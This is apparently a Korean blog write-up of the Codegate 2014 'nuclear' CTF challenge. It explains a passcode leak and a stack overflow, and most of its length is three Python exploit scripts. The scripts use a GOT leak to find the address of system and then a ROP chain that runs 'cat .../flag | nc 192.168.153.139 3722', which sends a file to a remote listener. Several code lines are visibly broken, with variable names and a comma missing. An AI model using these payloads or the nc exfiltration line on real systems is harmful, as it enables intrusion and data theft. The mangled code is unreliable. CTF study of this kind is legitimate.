본문 바로가기

CTF/Write-up

codegate 2014 nuclear

이 바이너리는 따로 nc서버 설정을 안해도 바이너리 자체에서 소켓 통신을 한다.

고로 바이너리 실행 후 포트를 1129로 연결해주기만 하면된다.


서버에 있는 THIS_IS_NOT_KEY_JUST_PASSCODE를 읽어 들인다.

(직접 파일을 만들고 문자열을 집어 넣어 세팅해준다.)

실제 대회에서는 문자열이 뭔지 모르기 때문에 릭을 통해 알아내야한다.

처음 입력은 quit와 target launch등 입력할 수 있다.


s를 알아내야하는데 s1에서 0x200만큼 입력할 수 있다.

v4와 v5를 다 채우면 s를 릭할 수 있는데 0x200으론 v4와 v5를 채울 수 없다.


마지막 부분에 이런 부분이 있다. 여기를 활용해 릭해보자.


이부분을 이용하면 v4와 v5를 채울 수 있으니 소스를 짜보면


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from socket import *
from time import sleep
 
= socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.153.139"1129))
 
print s.recv(1024)
 
s.send("target\n")
sleep(0.3)
print s.recv(1024)
 
s.send("37.22/37.22\n")
sleep(0.3)
print s.recv(1024)
 
s.send("A"*512+"\n")
sleep(0.3)
data = s.recv(1024)
print data[542:]
cs


릭을 통해 s를 받아 올 수 있었다.


이제 passcode를 알았으니

launch를 입력하면 passcode를 체크한다

통과하면 overflow 함수로 들어가는데


그 안에 start_routine 함수가 있다.


이 함수가 취약한 부분인데 buf가 0x20c이다 근데 0x512까지 받을 수 있으니 당연히 펑펑


오프셋은 이렇게 된다.

처음에 system에서 send를 뺐는데 엄청 차이가 나서

반대로하니깐 그럭저럭 음음


이제 got를 이용해 read send 주소를 가져오고 offset만큼 빼준다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from struct import *
from socket import *
from time import sleep
 
= lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)[0]
 
= socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.153.139"1129))
 
code = "It's too boring"
 
send_plt = 0x08048900
send_got = 0x0804b07c
ppppr = 0x0804917c
offset = 0x18a7a0
 
payload = "A"*528
payload += p(send_plt)
payload += p(ppppr)
payload += p(4)
payload += p(send_got)
payload += p(4)
payload += p(0)
 
print s.recv(1024)
s.send("launch\n")
print s.recv(1024)
print s.recv(1024)
 
s.send(code+"\n")
print s.recv(1024)
 
s.send(payload+"\n")
print s.recv(1024)
 
send_real = up(s.recv(4))
 
system = send_real - offset
print hex(system)
s.close()
cs


이렇게 시스템 주소를 얻었다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from struct import *
from socket import *
from time import sleep
 
= lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)[0]
 
= socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.153.139"1129))
 
code = "It's too boring"
sh = "cat /home/tory/Desktop/flag | nc 192.168.153.139 3722"
 
bss = 0x0804b088
recv_plt = 0x080488e0
ppppr = 0x0804917c
system = 0xb761bd80
 
payload = "A"*528
payload += p(recv_plt)
payload += p(ppppr)
payload += p(4)
payload += p(bss)
payload += p(len(sh))
payload += p(0)
 
payload += p(system)
payload += "AAAA"
payload += p(bss)
 
 
print s.recv(1024)
s.send("launch\n")
print s.recv(1024)
print s.recv(1024)
 
s.send(code+"\n")
print s.recv(1024)
 
s.send(payload+"\n")
print s.recv(1024)
 
s.send(sh+"\n")
print s.recv(1024)
s.close()
cs

최종 페이로드!!


이렇게 해놓고 최종 소스를 돌리면 flag을 읽을 수 있다.

'CTF > Write-up' 카테고리의 다른 글

codegate 2014 angry doraemon  (0) 2017.01.15
Warm-Heap  (0) 2017.01.15
holyshield pwnit  (0) 2017.01.10
codegate 2013 vuln200  (0) 2017.01.08
Layer7 ctf 2015 IhaveLongDariYouHaveShotDari  (6) 2017.01.07